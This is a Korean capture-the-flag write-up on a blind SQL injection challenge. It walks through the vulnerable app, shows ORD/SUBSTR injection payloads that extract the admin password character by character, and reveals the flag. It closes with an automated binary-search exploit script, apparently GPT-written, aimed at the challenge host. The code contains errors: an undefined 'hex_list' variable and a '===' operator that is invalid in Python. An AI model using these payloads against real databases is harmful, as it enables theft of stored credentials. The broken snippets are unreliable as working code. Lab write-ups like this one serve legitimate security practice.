blind sql injection advanced


init.sql

  • DB 테이블의 구조는 아래와 같다.
    • 테이블명은 “users” 이며, 테이블 안에는 “idx, uid, upw” 컬럼이 존재한다.
    • “users” 테이블에는 “admin, guest, test”를 아이디로 갖는 유저 값이 삽입되었다.
      • 우리는 Blind SQLi 공격을 통해, 아스키코드/한글 구조로 구성된 관리자 비밀번호를 탈취해야 한다.

app.py

  • “app.py” 파일은 / 경로로 접근했을 때 서버와의 상호작용을 담당하는 소스다.
    • 12 라인의 “template” 변수는 서버로부터 전달 받을 응답의 템플릿 양식이다.
    • GET 요청을 보낼 때, uid 값을 함께 보내면 DB 에서 조회된 정보를 화면에 뿌려주는 역할을 한다.
      • DB에서 정보를 가져오는 부분은 29-30 라인에 해당된다.

  • 입력 값에 대해서, 별다른 필터링 로직은 적용되어 있지 않기 때문에 바로 인젝션이 가능하다.
  • 근데 여기서 문제는 관리자 계정의 패스워드가 아스키 코드와 한글로 구성됐다는 점이다.
    • MySQL에서는 숫자를 ASCII 코드로 표현하는 ASCII() 함수와 ASCII 문자를 10진수 값으로 표현하는 ORD 함수가 존재하는데, 이 중 ORD 함수를 사용하면 “아스키 코드 및 한글” 값을 숫자로 표현하여 비교할 수 있다.

Blind SQLi

  • DB에 저장된 유효한 계정을 조회하는 경우에는 서버로부터 ”… exists” 응답이 반환된다.
  • 이 점을 이용하여 블라인드 SQL 인젝션 공격을 진행할 수 있다.
    • 쿼리는 아래와 같이 작성하여 공격을 진행했다.
    • /?uid=admin' AND ORD(SUBSTR((SELECT upw FROM users WHERE uid='admin'), 4, 1))=15506868 AND '1'='1

  • 관리자 계정의 패스워드 4번째 값부터 N번째 값까지 확인한 결과는 아래와 같았다.
    • (4-N) 15506868, 15381123, 15506868, 15448452, 15446144, 15446664, 15571128, 33, 63, 125
>>> decimal_list = [15506868, 15381123, 15506868, 15448452, 15446144, 15446664, 15571128, 33, 63, 125]
>>> dec_to_hex = [hex(i) for i in decimal_list]
>>> dec_to_hex
['0xec9db4', '0xeab283', '0xec9db4', '0xebb984', '0xebb080', '0xebb288', '0xed98b8', '0x21', '0x3f', '0x7d']
 
dec_to_hex = ['0xec9db4', '0xeab283', '0xec9db4', '0xebb984', 
            '0xebb080', '0xebb288', '0xed98b8', '0x21', '0x3f', '0x7d']
 
def hex_to_char(h):
    # 정수로 변환
    num = int(h, 16)
 
    # 필요한 바이트 수 결정
    # 한글은 3바이트(UTF-8), 특수문자나 ASCII는 1바이트
    hex_str = h[2:]  # 'ec9db4'
    
    # hex 문자열 길이가 2의 배수가 되도록 패딩
    if len(hex_str) % 2 != 0:
        hex_str = '0' + hex_str
 
    # 바이트 배열로 변환
    b = bytes.fromhex(hex_str)
 
    # UTF-8로 디코딩
    try:
        return b.decode('utf-8')
    except:
        return f"[decode error: {h}]"
 
result = [hex_to_char(h) for h in hex_list]
 
print(result)
 

  • 출력 결과는 아래와 같다. DH{이것이비밀번호!?}

번외

  • 위 문제 풀이 당시에, 쿼리문을 작성하고 수동으로 값을 확인했는데 이를 자동으로 찾는 코드를 작성해보자
    • (예시) /?uid=admin' AND ORD(SUBSTR((SELECT upw FROM users WHERE uid='admin'), 4, 1))>15506867 AND '1'='1
  • (1) 패스워드에 사용된 문자는 33 ~ 15571128 범위의 10진수 값으로, 값의 범위가 매우 넓어 모든 값을 전수 공격하여 블라인드 SQL 인젝션 공격을 수행하는 것은 상당히 비효율적이다.
  • (2) 효과적으로 빠른 시간 내에 정답을 찾기 위해서는 이진 탐색(Binary Search)과 같은 알고리즘을 사용해 볼 수 있다.

  • 아래는 이진 탐색 알고리즘을 적용한 Blind SQLi 익스플로잇 코드로, GPT를 이용하여 작성했다.
    • 핵심 코드는 아래 2개로 나눌 수 있을 듯 하다.
    • (1) decode_ord_value > 10진수 값을 한글 문자로 변환하여 반환해준다.
    • (2) 이진 탐색을 적용하여 시간 복잡도를 O(logN) 으로 단축했다.
import requests
 
url = "http://host3.dreamhack.games:10880/?uid="
pwd = ""
flag = False
 
proxies = {
    "http": "http://127.0.0.1:8888",
    "https": "http://127.0.0.1:8888"
}
 
def decode_ord_value(val):
    """
    ORD() 반환값을 기반으로 ASCII / UTF-8 자동 디코딩
    """
 
    # 1바이트 ASCII
    if val <= 0x7F:
        return chr(val)
 
    # 2바이트 UTF-8 (rare)
    elif val <= 0xFFFF:
        # 2바이트 분해
        b1 = (val >> 8) & 0xFF
        b2 = val & 0xFF
        return bytes([b1, b2]).decode("utf-8", errors="replace")
 
    # 3바이트 UTF-8 (한글 대부분)
    elif val <= 0xFFFFFF:
        b1 = (val >> 16) & 0xFF
        b2 = (val >> 8) & 0xFF
        b3 = val & 0xFF
        return bytes([b1, b2, b3]).decode("utf-8", errors="replace")
 
    # 4바이트 UTF-8
    elif val <= 0xFFFFFFFF:
        b1 = (val >> 24) & 0xFF
        b2 = (val >> 16) & 0xFF
        b3 = (val >> 8) & 0xFF
        b4 = val & 0xFF
        return bytes([b1, b2, b3, b4]).decode("utf-8", errors="replace")
 
    return " "  # fallback
 
 
for i in range(1, 50):
 
    low = 1
    high = 20000000   # UTF-8 한글도 포함
 
    while low <= high:
        mid = (low + high) // 2
 
        payload = (
            f"admin' AND (ORD(SUBSTR((SELECT upw FROM users WHERE uid='admin'),"
            f"{i},1))>{mid}) AND '1'='1"
        )
 
        r = requests.get(url + payload, proxies=proxies, verify=False)
 
        if "exists" in r.text:
            low = mid + 1
        else:
            high = mid - 1
 
        if low > high:
            real_val = high + 1  # 실제 문자코드 확정
            char = decode_ord_value(real_val)
            pwd += char
            print(f"[+] {i}번째 문자 → 코드:{real_val} → '{char}'")
 
            if char === "}":
                flag = True
 
            break
 
    # 종료 조건: "}" 문자 (플래그 종료)
    if flag:
        break
 
print("\n[+] 최종 패스워드:", pwd)

  • 동일하게 플래그 값을 획득할 수 있다.

🐛.. 🐛.. 🐛..